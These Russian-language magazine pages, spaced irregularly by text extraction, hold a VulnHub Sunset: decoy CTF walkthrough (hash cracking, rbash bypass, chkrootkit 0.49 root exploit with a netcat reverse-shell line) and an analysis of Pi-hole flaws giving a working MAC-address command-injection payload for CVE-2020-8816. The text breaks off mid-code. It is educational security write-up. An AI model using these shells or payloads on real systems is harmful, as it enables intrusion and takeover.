ляют собой вирт уальн ые функ ции, прин има ющие в качес тве аргум ен та ука‐
затель this и возв ра щающие ука затель на новый объе кт. Не слишк ом‐то
надеж но для иден тификац ии, но все же луч ше, чем ничего.
Конструктор раз, конструктор два...
Ко личес тво конст рук торов у класс а может быть и более одно го (и очень част о
не тольк о может, но и быва ет). Однак о это никак не вли яет на ана лиз. Сколь‐
ко бы конс трук торов ни прис утс тво вало, для каж дого экземп ляр а класс а всег‐
да вызыва ется тольк о один, выбр анный ком пилято ром в зависи мост и от фор‐
мы его вызова. Единст вен ная деталь — раз личные экзем пляр ы класс а могут
вызывать разл ичные конс трук торы. Будь вним ате лен!
Зачем козе баян, или Внимание: пустой конструктор!
Не кото рые огран иче ния конс трукт ора (в част ност и, отсутс твие воз вращ аемо‐
го зна чения) прив ели к появл ению при ема прогр амми рован ия «пуст ой конс‐
трук тор». Конст рукт ор умышл енно оставля ется пус тым, а весь код иниц иали‐
зации помеща ется в спец иальн ую фун кцию, как прав ило называе мую Init.
Обсужде ние сильн ых и сла бых стор он такого стил я — предм ет отдель ного
раз говора, никаким обра зом не отно сяще гося к теме ана лиза. Исслед ова‐
телям дост аточ но знать: такой стиль есть и активно использ ует ся не тольк о
отдель но взят ыми прог раммист ами, но и крупн ей шими ком пани ями‐гиган‐
тами (нап ример, той же Microsoft).
По это му, встре тив вызов пус того конст рук тора, не удив ляйс я, это нор‐
маль но, и ищи функ цию ини циали зации сре ди обыч ных чле нов клас са.
ВЗЛОМ
СИНТЕТИЧЕСКИЙ
ЗАКАТ
Вадим Голованов
Работаю пентестером в FBK
Cybersecurity.
Специализируюсь на услугах
в области практической
информационной
безопасности.
[email protected]
ПРОХОДИМ ВИРТУАЛКУ SUNSET DECOY,
ЧТОБЫ ОТТОЧИТЬ НАВЫКИ ПЕНТЕСТА
В этой статье я рас скаж у, как решать CTF‐задачк у Sunset:
decoy, которую ты можешь скач ать с VulnHub. Повт орив про‐
хожд ение этой вир туалк и вмест е со мной, ты потр енируе шь‐
ся под бирать пароли по хешам, монито рить про цесс ы Linux
без прав root, эксп луа тир овать уяз вимос ти и переда вать
файл ы через бэк‐шелл.
Об авторе
Авт ор этой статьи — пент естер из коман ды FBK CyberSecurity. Это часть круп‐
ней шей рос сий ской аудит ор ско‐конс алтинг овой групп ы ФБК (Финан совые
и бухг алтер ские кон сульт ант ы). Комп ания спец иали зируе тся на услу гах
в области прак тичес кой информа цион ной безопасн ости.
Авт ор задач ки — whitecr0wz, а опуб ликова на она была 7 июля 2020 года.
Машина предн азнач ена для начина ющих, поэтом у и прох ожд ение будет
недлинным. Зато по пути я пос тараю сь разъ яснить все шаги и расс каз ать
об исполь зуемых утил итах. Мы про экс плу атир уем извес тную уязв имость, что‐
бы повысить прив иле гии и проч итать файл в катало ге root.
Загр ужен ная вирт уальн ая машина
Не буду опи сывать под клю чение и запуск вир туальн ой машины, это уже
делали мои кол леги в статье «Зах ват Вакан ды. Ломае м вир туальн ую машину
с VulnHub». Нач нем с раз ведки, а точ нее — с запус ка ути литы netdiscover.
Netdiscover — прост ой инст рум ент обна руже ния (ARP‐ска нер), который
удобн о использ овать для поис ка «живых» хост ов в сети без конф игура ции IP‐
адрес а сетево го интерфей са.
INFO
ARP (Address Resolution Protocol — прот окол
опред еле ния адре са) предн азна чен для опре‐
деле ния MAC‐адрес а устрой ства по его IP‐адре‐
су.
По умол чанию утил иту мож но запуст ить без парамет ров и получить результ ат
в виде списк а устройс тв. Одна ко для более тон кой нас трой ки рекомен дую
ознак омить ся с разн ыми опция ми, которые можн о указ ать при запуск е.
Це левая машина decoy находит ся с нами в одной под сети, поэтом у прост о
пишем netdiscover.
Об наруженн ые сетевые адрес а
Теп ерь мы зна ем целевой IP‐адрес — это 192.168.1.123. След ующим шагом
скан ируе м хост и ищем откры тые порт ы и запущен ные сер висы. Прос каниру‐
ем порт ы популярн ой ути литой Nmap.
nmap ‐sV ‐sC ‐O ‐p ‐ 192.168.1.123
Вот что зна чат наши клю чи:
• sV — вывес ти верс ии обнар уженн ых служб;
• sC — исполь зовать базовый набор скрип тов для получен ия расш иренн ой
информа ции;
• O — опред елить вер сию ОС;
• p — скан иро вать весь диапаз он пор тов от 0 до 65 535.
Рез ульт ат ска ниро вания всех пор тов утил итой Nmap
Посл е пол ного скан иров ания хост а мы получим два откры тых пор та:
• 22 — OpenSSH Server 7.9p1;
• 80 — Apache httpd 2.4.38.
Начн ем изуч ать целевую машину с веб‐служб ы Apache. Индекс ная стра ница
на 80‐м пор те выда ет нам индекс каталог а.
Со держ имое индекс ной стра ницы веб‐сайт а
Скач ива ем единс твен ный файл save.zip и пытае мся рас паковать его.
В результ ате узна ем, что он защищен паролем.
Со держ имое архив а save.zip
Что бы получить дос туп к содер жимому, нужн о подобр ать пароль. Для этог о
нам нуж на хеш‐сигн атура фай ла. На помощь при ходит вспом ога тель ная ути‐
лита zip2john из сост ава пакета John the Ripper.
Вып ол нение утил иты zip2john
К сожале нию, прогр амма выда ет хеш, совм ести мый тольк о с «Джо ном» (фор‐
мат PKZIP), использ овать его в моем любимом hashcat не удаст ся — он любит
форм ат WinZIP.
INFO
•John the Ripper — леген дарная своб одн ая прог‐
рамма, пред назна чен ная для вос ста новл ения
паролей по их хешам.
•Hashcat — это, по слов ам созд ателей, самый
быс трый в мире инст рум ент для вос стан ов‐
ления паролей.
Кто‐то предп очтет друг ие ути литы, но, по моему опыт у, на реальн ых про ектах
с длинн ыми паролям и hashcat выручае т чаще. В дан ном же случ ае взлом
пароля не вызовет трудн остей, пос кольк у он три виален и с лег костью под‐
дает ся перебо ру по уни вер саль ному слов арю rockyou (он вхо дит в любой
совр емен ный нас тупатель ный дист риб утив Linux вро де Kali и Parrot).
Ус пешный под бор пароля по слов арю
Есл и же рас суждать о будн ях пент естер а в реальн ых усло виях, то рекоменд ую
обрат ить вни мание на более уве сис тые слов ари. Нап ример, в cracksta-
tion.txt.gz содерж ится 15 Гбайт реаль ных утеч ек, а в hashkiller-dict.7z
еще 1,5 Гбайт.
Теп ерь можем рас паковать архив и озна комить ся с его содер жимым.
Ус пешная расп аковк а архив а при помощи пароля
Со дер жимое расп акованн ой папк и etc не предс тав ляет особ ого инте реса,
кро ме фай ла shadow. В нем содер жатся наиме нован ия учет ных записей сис‐
темы и хеши паролей. Поп робу ем подоб рать пароль для какого‐либо поль‐
зовател я и подк лю чить ся к ранее обнар уженн ому порт у 22 по SSH.
Выв едем коман дой cat содер жимое файл а shadow и отфиль труе м
при помощи grep польз овате лей для перебо ра.
Есл и написать grep ‐v "*", то увид им все стро ки, в которых нет звез‐
дочек, то есть польз овательс кие, а не служ еб ные учет ные записи.
Выв одим хеши паролей поль зовател ей
Учет ная запись systemd‐coredump к делу тоже не относ ит ся, поэто му оста‐
ются толь ко поль зовате ли root и нек то с длин ным бук венно‐цифр овым
логином.
Про верим сра зу и файл passwd из архив а, чтоб ы узнать, какие обо лоч ки
вхо да зак реплен ы за польз овате лями. Как видим, наш номерн ой юзер имее т
огра ниченн ую обо лочк у rbash (restricted shell).
Учет ные записи с разр ешен ным логином
Дал ее можн о сно ва исполь зовать ути литу John the Ripper для перебор а
паролей, а можн о и любую дру гую. Тот же hashcat, в отлич ие от ста рины
«Джо на», может задейс тво вать мощн ости GPU, что немало приг ожд ает ся
в реаль ных усло виях, а в Windows у него есть граф ичес кая обо лочк а.
Де монс тра ция перебо ра паролей форм ата sha512crypt ути литой hashcat
через GUI
В нашем случ ае сигн атура хеша начина ется с $6$ — зна чит, это форм ат SHA‐
512.
WWW
•Пол ный спис ок подд ержи ваемых хешей на сай‐
те hashcat
Спус тя какое‐то вре мя уда ется успешно подобр ать пароль нашего поль‐
зовател я. В отлич ие от логина, пароль сов сем корот кий — server.
Восс та новл ение паролей ути литой hashcat
Пос ле того как пароль най ден, поп робу ем подк лю читьс я к целевой машине
по SSH, при этом укаж ем флаг ‐t "bash ‐‐noprofile". Это поможет обой ти
загр узку огран ичен ной обол очк и rbash, которая не дала бы нам перехо дить
в нуж ные катало ги.
INFO
С клю чом ‐‐noprofile Bash не читае т
ни обще сис темный файл началь ного запус ка
/etc/profile, ни любой из перс ональ ных
фай лов иниц иали зации польз овате ля
~/.bash_profile, ~/.bash_login или
~/.profile.
Ус пешная авто ризац ия с подоб ранным паролем
Смот рим, что есть в катало ге текущег о польз овате ля.
Со дер жимое домаш него каталог а польз овател я
Тут нам на глаз а попадае тся интер ес ный исполняе мый файл honeypot.decoy.
Что ж, запуст им!
Выз ов про цедур ы антив ирусн ого ска ниро вания из меню прогр аммы
Прил ожен ие выводит меню, которое все го лишь вызывае т разн ые команд ы,
заложен ные в файл. Убед итьс я в этом мож но при помощи утил иты поиск а
строк strings:
/bin/strings honeypot.decoy
Посл едова тельн ая запись команд и бан неров внут ри файл а
Как видим, на кажд ую строк у меню прих одит ся по команд е. Забегая впер ед,
ска жу, что интер есн ее все го здесь пункт 5 — созд ание какого‐то фай ла.
Однак о отло жим пока иссле дован ие этой прог раммы. Снач ала нуж но собр ать
больш е информац ии о сис теме.
Смот рим остальн ые файл ы в катало ге при помощи cat.
Со держ имое тек сто вых файл ов в домашн ем каталог е
Файл log.txt ока зыва ется журн алом выпол нения утил иты pspy. Это инс тру мент
коман дной стро ки, предн азнач енн ый для слежк и за проц ес сами без прав
суперп ольз овате ля root. Запом ним, что использ овалась эта утил ита. Можн о
счит ать, что это была под сказк а от соз дателей вирт уальн ой машины.
Нач ало жур нала pspy
Дал ее по содерж имому журн ала увид им более интер ес ные подр обност и.
Фрагм ент жур нала log.txt
Вид им, что была выпол нена вот такая коман да:
tar ‐xvzf chkrootkit‐0.49.tar.gz
Шелл‐скрипт chkrootkit раз работан в помощь сис темным адми нист рат орам
и про веря ет наличие извест ных рут китов в Linux‐сис теме. Про бива ем его
по exploit‐db и видим, что в нашей верс ии 0.49 есть серье зная уязв имость
с повыше нием прив илег ий.
Опис ание уяз вимост и на сай те exploit‐db.com
Ло кальн ый польз ователь может получить прав а root, если раз дел /tmp смон‐
тирован без опции noexec. Для успешной экс плу ата ции можн о созд ать в этом
катало ге файл update со сво ей полезн ой наг рузкой.
Те перь нам надо понять, при каких услов иях запуск ает ся chkrootkit. Тут‐то
и приг одит ся зас ветив шаяся раньш е утил ита pspy. Поп робу ем пров ерить,
есть ли она в фай ловой сис теме вир туал ки.
/usr/bin/find / ‐name pspy 2>/dev/null
Безр езуль тат ный поиск ути литы pspy в файл овой сист еме цели
Как видим, файл pspy отсутст вуе т, при дет ся заг рузить его самост оятельн о.
Тут возм ожно два вариа нта: можн о использ овать Wget и ска чать напр ямую
с сайт а либо передать файл на машину через netcat. Рас смот рим оба случ ая,
так как в реальн ых усло виях не всег да есть выход в интернет с исслед уемой
машины.
Сам файл ле жит на GitHub, най ти его не сост авило труд а. В сис теме есть
Wget, так что можн о им прос то восп оль зовать ся.
Кач аем pspy32 нап рямую
Вто рой вари ант более приб лижен к жизн и. Допус тим, иссле дуемый хост
не име ет выхода в интернет, поэтом у прид ет ся передав ать файл ы локаль‐
но — с машины исслед ова теля. Ска чаем исполня емый файл себе на машину,
а затем нач нем переда вать по сети на целевую машину с помощью netcat.
Пе реда ча файл а с помощью утил иты netcat
На целевой машине откры ваем порт для прос лушиван ия вход ящих соеди‐
нений.
При ем файл ов с помощью ути литы netcat
Не забудем в обо их вари антах добавить флаг исполне ния при нятом у фай лу.
Назн ачение фла га исполне ния команд ой chmod
Теп ерь вспом ним о пятом пунк те в меню утил иты honeypot.decoy. Запуск аем
его, а след ом нашу ути литу pspy32 для монито ринг а событий.
Фрагм ент журн ала pspy32 посл е запус ка пун кта AV‐Scan утил иты
honeypot.decoy
Как видим из фрагм ента выдачи pspy32, утил ита chkrootkit пери оди ческ и
вызывае тся от име ни поль зовател я с UID, рав ным нулю, то есть root. Зна чит,
мы можем про эксп луа ти ровать LPE (Local Privilege Escalation).
Воз вращ аемс я к обна ружен ной уязв имос ти (выполн ение файл а update
из катало га tmp) и исполь зуем ее, чтоб ы выпол нить свой код с прав ами
суперп оль зовател я.
Ост ает ся соз дать прост ой реверс‐шелл, чтоб ы взаи мод ей ствов ать
с основной машиной. Обмен информа цией орга низу ем на осно ве все той же
ути литы netcat бук валь но одной стро кой скрип та. Не забудь добавить флаг
исполне ния +x.
echo "/usr/bin/nc ‐e /bin/sh 192.168.1.68 666" > update
/usr/bin/chmod +x update
Соз дание исполня емо го фай ла прост ого реверс‐шел ла
На свое й машине вклю чаем просл ушива ние вхо дящих соедин ений утил итой
netcat на заранее опред елен ном порт е.
nc ‐nvlp 666
Усп ешный вывод содер жимого фай ла /root/root.txt
При появ лении надп иси connect смож ем выполн ять команд ы от име ни супер‐
польз овате ля. В файл е root.txt в катало ге /root находим флаг. Победа!
ВЗЛОМ
ДЫРЫ
В ДЫРЕ
КАК РАБОТАЮТ
УЯЗВИМОСТИ В PI‐HOLE,
КОТОРЫЕ ПОЗВОЛЯЮТ
ЗАХВАТИТЬ RASPBERRY PI
В Pi‐hole — популярн ой прогр амме aLLy
для бло кировк и рекл амы и нежелат ельн ых ONsec
скрип тов — за посл еднее вре мя наш ли @iamsecurity
целых три уяз вимос ти. Две из них прив одят
к уда ленн ому выполн ению команд, а одна
поз воляе т повысить при вилег ии до root.
Давай раз берем при чины пробл ем и заод‐
но пос мотрим, как искать уязв имост и
в коде на PHP и скрипт ах на Bash.
Pi‐hole — это DNS‐серв ер и небольш ой веб‐интерфейс для нас тройк и бло‐
киров щика и прос мотра стат ист ики. Прист авка Pi тут нес прост а, пос кольк у
раз работ чики предп олагал и, что став ить их софт будут на Raspberry Pi (а
заодн о наз вание звуч ит как «дыр ка для пирога»). При этом ничт о в целом
не меша ет став ить Pi‐hole и на дру гое железо.
Коротко о сути проблемы
CVE-2020-8816
Эта уязв имость в Pi‐hole сущест ву ет из‐за некор рект ной санитиз ации MAC‐
адрес а при добавл ении его в спис ок. Спец иальн о сформ ирован ный MAC‐
адрес поз воляе т зло умыш ленни ку внедр ить свои команд ы в стро ку вызова.
Баг зат рагивае т все вер сии Pi‐hole до 4.3.2 включ итель но.
CVE-2020-11108
Об новле ние скрипт а Gravity в Pi‐hole до вер сии 4.4 позв оля ет заг ружать про‐
извольн ые файл ы в веб‐дирек торию сис темы. Зло умыш ленник может заг‐
рузить PHP‐файл, содер жащий вред онос ный код. Ошиб ка находит ся в фун‐
кции gravity_DownloadBlocklistFromUrl в фай ле gravity.sh. Так же она
может быть использ ована в сочета нии с прав илом sudo для польз овате ля
www‐data, что бы повысить при виле гии до супер поль зовате ля.
Нашл и уяз вимост и Ник Фри шетт (Nick Frichette), раз работ чик и ИБ‐иссле‐
доват ель из США, и Франс уа Рено‐Филипп он (François Renaud‐
Philippon) — ИБ‐иссле доват ель из Канады.
СТЕНД
Начн ем со стен да. Тут все прос то, раз работ чики Pi‐Hole пред ос тавляю т офи‐
циаль ный кон тейн ер Docker с дис триб утив ом. Для тест ирован ия всех уяз‐
вимост ей восп оль зуемс я вер сией 4.3.2.
docker run ‐‐rm ‐‐name pihole ‐‐hostname pihole ‐p80:80 ‐p53:53
pihole/pihole:4.3.2
Пос ле непр одол жительн ой заг рузки на 80 пор ту можн о най ти веб‐интерфейс
админ ист рат ора.
Веб‐интерфейс Pi‐hole
Па роль будет сге нери рован в проц ес се заг рузки кон тей нера и выведен
в конс оль.
Па роль адми нис трат ора Pi‐hole генери рует ся при запус ке конт ей нера
Те перь оста лось ска чать исходник и админ ской панели с GitHub (ZIP) —
и мож но прист упать к разб ору уязв имос ти.
RCE ЧЕРЕЗ MAC-АДРЕС
Для начала обрат имс я к исходным кодам прил оже ния, раз они имею тся.
В пер вую очер едь про верим наличие RCE. Для этог о поищем в коде на PHP
основные фун кции, которые допус кают исполнен ие кода. Я буду исполь‐
зовать PHPStorm и след ующую регулярк у.
(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)\s*\(
Она не идеа льн а, но для быс трог о поис ка сгод ит ся.
По иск функ ций выпол нения кода в Pi‐hole
Сраз у видим, что нашл ась пач ка инте ресн ых мест. Давай посм отрим на них
побл иже.
Нач нем с фай ла savesettings.php. Он отвеч ает за сох ранение наст рое к
в раз деле Settings, для кажд ой вклад ки есть отдель ная вет ка кода.
scripts/pi-hole/php/savesettings.php
216: // Process request
217: switch ($_POST["field"]) {
218: // Set DNS server
219: case "DNS":
...
383: case "API":
...
548: case "DHCP":
Стра ница наст ро ек в веб‐интерфей се Pi‐hole
Нас интер есу ет вклад ка DHCP, там прои сход ит подозр итель ный вызов фун‐
кции exec.
scripts/pi-hole/php/savesettings.php
548: case "DHCP":
549:
550: if(isset($_POST["addstatic"]))
551: {
552: $mac = $_POST["AddMAC"];
553: $ip = $_POST["AddIP"];
554: $hostname = $_POST["AddHostname"];
...
605: exec("sudo pihole ‐a addstaticdhcp ".$mac
." ".$ip." ".$hostname);
В про цесс е выпол нения про исхо дит вызов ути литы pihole, где в качест ве
парамет ров коман дной строк и передаю тся зна чения AddMAC, AddIP, Ad‐
dHostname из POST‐зап роса. Перв ая мысль: прос то внедр ить свою коман ду
при помощи && или ||. Одна ко переменн ые пред варительн о прох одят
некото рые про верк и. Давай посм отрим на них. Начн ем с IP.
scripts/pi-hole/php/savesettings.php
562: if(!validIP($ip) && strlen($ip) > 0)
563: {
564: $error .= "IP address (".htmlspecialchars
($ip).") is invalid!<br>";
565: }
По мимо двух регуля рок, выпол няет ся про верк а встро енной в PHP функ цие й
filter_var с опцие й FILTER_VALIDATE_IP.
scripts/pi-hole/php/savesettings.php
14: function validIP($address){
15: if (preg_match('/[.:0]/', $address) && !preg_match('/[
1‐9a‐f]/', $address)) {
16: // Test if address contains either `:` or `0` but not
1‐9 or a‐f
17: return false;
18: }
19: return !filter_var($address, FILTER_VALIDATE_IP) === false;
20: }
Здесь осо бо не разг уляе шьс я, и проп ихн уть левые сим волы не удас тся.
Тогд а перехо дим к hostname.
scripts/pi-hole/php/savesettings.php
567: if(!validDomain($hostname) && strlen(
$hostname) > 0)
568: {
569: $error .= "Host name (".htmlspecialchars(
$hostname).") is invalid!<br>";
570: }
Тут уже три регулярк и. Пер вая запр еща ет исполь зовать любые симв олы, кро‐
ме цифр, a‐z, точ ки, минуса и подч еркив ания, а осталь ные пров еря ют длин у
стро ки.
scripts/pi-hole/php/savesettings.php
36: function validDomain($domain_name)
37: {
38: $validChars = preg_match("/^([_a‐z\d](‐*[_a‐z\d])*)(\.([_a‐z\
d](‐*[a‐z\d])*))*(\.([a‐z\d])*)*$/i", $domain_name);
39: $lengthCheck = preg_match("/^.{1,253}$/", $domain_name);
40: $labelLengthCheck = preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})
*$/", $domain_name);
41: return ( $validChars && $lengthCheck && $labelLengthCheck );
//length of each label
42: }
Здесь тоже нет воз можнос ти внедр ить нужн ые нам сим волы.
Ост ает ся MAC‐адрес.
scripts/pi-hole/php/savesettings.php
556: if(!validMAC($mac))
557: {
558: $error .= "MAC address (".
htmlspecialchars($mac).") is invalid!<br>";
559: }
scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)
54: {
55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be
lower case)
56: return (preg_match('/([a‐fA‐F0‐9]{2}[:]?){6}/', $mac_addr) == 1
);
57: }
А вот здесь нас ждет уда ча. Регуляр ка говорит нам, что строк а дол жна содер‐
жать 6 пар сим волов англий ског о алфав ита и цифр и они могут быть раз‐
делены двое то чием или нет. Но вот незадач а, отсутст вую т симв олы начала
и кон ца стро ки. Это зна чит, что дос таточ но, чтоб ы было как минимум одно
вхож дение такой регулярк и, а помимо нее можн о ука зывать все что хочет ся.
Нек орр ект ное регуляр ное выражен ие в Pi‐hole, которое про веряе т
валид ность MAC‐адрес а
Одн ако здесь нас подж идае т небольш ая пробл емка.
scripts/pi-hole/php/savesettings.php
560: $mac = strtoupper($mac);
Все бук вы в стро ке с MAC‐адрес ом перево дят ся в вер хний регистр. Так
как коман ды в Linux регис троз ави симы, не получит ся прост о внед рить нуж‐
ную, прид ет ся искать обход. К счастью, шелл в Linux очень гибк ая шту ка
и сдел ать байп асс не сост авит труд а. Если бы функ ция exec использ овала
интерп ре татор bash для выпол нения команд, то решение было бы сов сем
прос тым: начиная с чет вертой верс ии в Bash появил ась конс трук ция вида ${
VAR,,}, которая меняе т регистр букв на строчн ые в знач ении перемен ной.
Но exec исполь зует /bin/sh.
Изм енение регис тра букв в Bash и ошибк а обраб от ки такой же конст рук‐
ции в sh
Но не сто ит отча иватьс я, ведь у нас есть перемен ные окру жения. Все ми
любимая $PATH как раз сос тоит из букв верх не го регис тра и содер жит боль‐
шое количес тво симв олов ниж него. Добавим новую запись с MAC‐адре сом
000000000000$PATH, что бы увид еть содерж имое этой переменн ой окру‐
жения.
До бавл ение новой записи в DHCP, где в MAC‐адрес внед рена перемен ‐
ная окруж ения PATH
По умол чанию в кон тейн ере она имее т сле дующий вид:
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
bin
Что бы не собирать всю необх одимую команд у из этих букв, вос поль зуемс я
php, так как мест ные фун кции регис трон езав исим ы. Вот мой пейл оад:
php ‐r 'exec(strtolower("echo 1 > /tmp/owned"));'
Что бы исклю чить любые проб лемы с симв олами в длин ных коман дах, можн о
восп оль зовать ся фун кци ей hex2bin вмес то strtolower, но для моего пей‐
лоада сго дит ся и эта.
По лучае тся, что нам нуж ны сим волы p, h и r. Вос поль зуемс я сим волами
замены и уда ления подс трок и. Симв ол p находит ся на треть ей позиции. Конс‐
трук ция A=${PATH#??} уда лит пер вые два сим вола, и в переменн ой A оста‐
нет ся такая подс тро ка:
pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi
n
Теп ерь из нее нужн о уда лить все, кро ме пер вого симв ола, для это го исполь‐
зуем P=${A%${A#?}}.
Те перь h. Он находит ся на вось мой позиции, поэтом у удал яем пер вые
семь симв олов A=${PATH#???????}. Оставляе м тольк о пер вый симв ол
при помощи уже извес тной нам конст рукц ии H=${A%${A#?}}.
И наконец — r. Уда ляем все сим волы начиная с пер вого слеш а до пер вого
дво ето чия плюс три сим вола: A=${PATH#/*:???}. В ито ге остан ет ся такая
подс тро ка:
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Сно ва оставля ем толь ко перв ый сим вол R=${A%${A#?}}.
WWW
Под робнее про манипул яцию со строк ами мож но
про читать в ман уале Bash, там все подр обно рас‐
писано с прим ера ми исполь зования.
Со бирае м все наши конст рукц ии вмес те и получа ем:
A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/
*:???};R=${A%${A#?}};
Теп ерь в перемен ных $P, $H и $R находят ся бук вы p, h и r в ниж нем регис тре.
Соз дание коман ды php ‐r из перемен ной окру жения PATH
Можн о фор мировать основной пейл оад.
000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?
}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P ‐$R 'exec(strtolower("echo 1
> /tmp/owned"));';
От правл яем его в качест ве MAC‐адрес а и можем видеть файл owned в дирек‐
тории /tmp.
Удал енн ое выпол нение команд в Pi‐hole через внед рение команд в MAC‐
адрес
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ДЫРЫ В ДЫРЕ
КАК РАБОТАЮТ УЯЗВИМОСТИ В PI‐HOLE,
КОТОРЫЕ ПОЗВОЛЯЮТ
ЗАХВАТИТЬ RASPBERRY PI
Точ но такая же пробл ема прис утс тву ет в функ ции удал ения сущес тву юще го
MAC‐адрес а.
scripts/pi-hole/php/savesettings.php
611: if(isset($_POST["removestatic"]))
612: {
613: $mac = $_POST["removestatic"];
614: if(!validMAC($mac))
615: {
616: $error .= "MAC address (".
htmlspecialchars($mac).") is invalid!<br>";
617: }
...
618: $mac = strtoupper($mac);
...
622: exec("sudo pihole ‐a removestaticdhcp ".
$mac);
Раз работ чики испра вили этот баг в верс ии 4.3.3, теперь для филь трац ии
MAC‐адре са использ ует ся встро енная фун кция filter_var, а так же добави‐
ли новую фун кцию formatMAC, которая возв ра щает тольк о най ден ную подс‐
тро ку с маком.
v4.3.3/scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)
54: {
55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be
lower case)
56: return !filter_var($mac_addr, FILTER_VALIDATE_MAC) === false;
57: }
58:
59: function formatMAC($mac_addr)
60: {
61: preg_match("/([0‐9a‐fA‐F]{2}[:]){5}([0‐9a‐fA‐F]{2})/",
$mac_addr, $matches);
62: if(count($matches) > 0)
63: return $matches[0];
64: return null;
65: }
Но оста лись еще инте рес ные мест а.
RCE ЧЕРЕЗ ДОБАВЛЕНИЕ В СПИСКИ
От мота ем немн ого назад, до утил иты pihole. Pihole — это скрипт на Bash,
который выпол няет раз ные дей ствия, сре ди них такие как добав ление
или уда ление доменов из чер ного и белого спис ков и заг рузка спис ка
доменов для бло киро вания. По дефол ту она находит ся по пути /usr/local/
bin/pihole.
Мес тонахожд ение ути литы pihole
Наш путь лежит во вклад ку Blocklist раз дела Settings.
Вкладк а Blocklist раз дела Settings веб‐интерфей са Pi‐hole
В этой фор ме можн о добавл ять ссыл ки на спис ки доменов для блок иров ания.
Изна чаль но там уже есть некото рые адре са, но я их уда лил, чтоб ы упростить
тест ирова ние. Ког да ты добавишь адрес и нажм ешь на кнопк у Save and Up‐
date, скрипт на PHP вызывае т pihole.
scripts/pi-hole/php/savesettings.php
701: case "adlists":
...
722: if(strlen($_POST["newuserlists"]) > 1)
723: {
724: $domains = array_filter(preg_split('/\r\n|[\
r\n]/', $_POST["newuserlists"]));
725: foreach($domains as $domain)
726: {
727: exec("sudo pihole ‐a adlist add ".
escapeshellcmd($domain));
728: }
729: }
В качест ве парамет ров коман дной строк и переда ется знач ение domain
из POST‐запр оса. Оно записы вает ся в файл /etc/pihole/adlists.list.
Посм отреть детали выпол нения скрипт а мож но при помощи флаг а ‐x интер‐
пре тато ра bash.
bash ‐x pihole ‐a adlist add http://ya.ru
Сна чала про исхо дит пар синг парамет ров.
pihole
443: case "${1}" in
...
463: "‐a" | "admin" ) webpageFunc "$@";;
Так как передан ключ ‐a, про исхо дит вызов webpageFunc.
pihole
27: webpageFunc() {
28: source "${PI_HOLE_SCRIPT_DIR}/webpage.sh"
29: main "$@"
30: exit 0
31: }
От ладка скрип та pihole. Вызов webpageFunc
Здесь выпол нение переда ется функ ции main и далее — CustomizeAdLists,
так как был ука зан аргу мент adlist.
advanced/Scripts/webpage.sh
567: main() {
568: args=("$@")
...
594: "adlist" ) CustomizeAdLists;;
От ладка скрипт а pihole. Вызов функ ций main и CustomizeAdLists
В CustomizeAdLists в зависим ост и от типа дей ствия выпол няет ся вклю‐
чение, выкл ючение, уда ление или добавл ение в спис ок передан ного домена
для загр узки блокл иста.
advanced/Scripts/webpage.sh
396: CustomizeAdLists() {
397: list="/etc/pihole/adlists.list"
...
403: elif [[ "${args[2]}" == "add" ]]; then
404: if [[ $(grep ‐c "^${args[3]}$" "${list}") ‐eq 0 ]] ;
then
405: echo "${args[3]}" >> ${list}
От ладка скрип та pihole. CustomizeAdLists добавл яет в спи сок новый
домен
Посл е того как pihole отраб отал, резуль тат воз вра щает ся в скрипт на PHP,
и если ты нажал имен но Save and Update, то брау зер редирек тит на стра‐
ницу Update Gravity.
settings.php
36: <?php // Check if ad lists should be updated after saving ...
37: if (isset($_POST["submit"])) {
38: if ($_POST["submit"] == "saveupdate") {
39: // If that is the case ‐> refresh to the gravity page
and start updating immediately
40: ?>
41: <meta http‐equiv="refresh" content="1;url=gravity.php?go"
>
42: <?php }
43: } ?>
И здесь запус кает ся проц есс обновле ния списк ов.
gravity.php
28: <script src="scripts/pi‐hole/js/gravity.js"></script>
scripts/pi-hole/js/gravity.js
59: $(function(){
...
64: // Do we want to start updating immediately?
65: // gravity.php?go
66: var searchString = window.location.search.substring(1);
67: if(searchString.indexOf("go") !== ‐1)
68: {
69: $("#gravityBtn").attr("disabled", true);
70: eventsource();
71: }
Уп равле ние перехо дит к скрип ту gravity.sh.php.
scripts/pi-hole/js/gravity.js
07: function eventsource() {
...
18: var source = new EventSource("scripts/pi‐hole/php/gravity.sh.
php");
Здесь мы вновь воз вра щаем ся к ути лите pihole.
scripts/pi-hole/php/gravity.sh.php
33: $proc = popen("sudo pihole ‐g", 'r');
34: while (!feof($proc)) {
35: echoEvent(fread($proc, 4096));
36: }
Как вид но из наз вания фай ла (gravity.sh.php), скрипт являе тся обвязкой
gravity.sh.
pihole
443: case "${1}" in
...
452: "‐g" | "updateGravity" ) updateGravityFunc "$@";;
Имен но к нему и перехо дит управле ние.
pihole
71: updateGravityFunc() {
72: "${PI_HOLE_SCRIPT_DIR}"/gravity.sh "$@"
73: exit $?
74: }
От ладка скрипт а pihole. Вызов updateGravity
Скрипт боль шой, если хочешь посм отреть детали его работы, то ты снов а
можешь вос поль зовать ся клю чом ‐x.
bash ‐x /opt/pihole/gravity.sh ‐g
Нас инте ресуе т вызов функ ции gravity_GetBlocklistUrls.
gravity.sh
648: gravity_GetBlocklistUrls
Здесь про исхо дит пар синг фай ла /etc/pihole/adlists.list и сост авля‐
ется спи сок доменов, на которые нуж но схо дить за списк ами.
gravity.sh
157: gravity_GetBlocklistUrls() {
...
168: mapfile ‐t sources <<< "$(grep ‐v ‐E "^(#|$)" "${adListFile}"
2> /dev/null)"
...
170: # Parse source domains from $sources
171: mapfile ‐t sourceDomains <<< "$(
172: # Logic: Split by folder/port
173: awk ‐F '[/:]' '{
174: # Remove URL protocol & optional username:password@
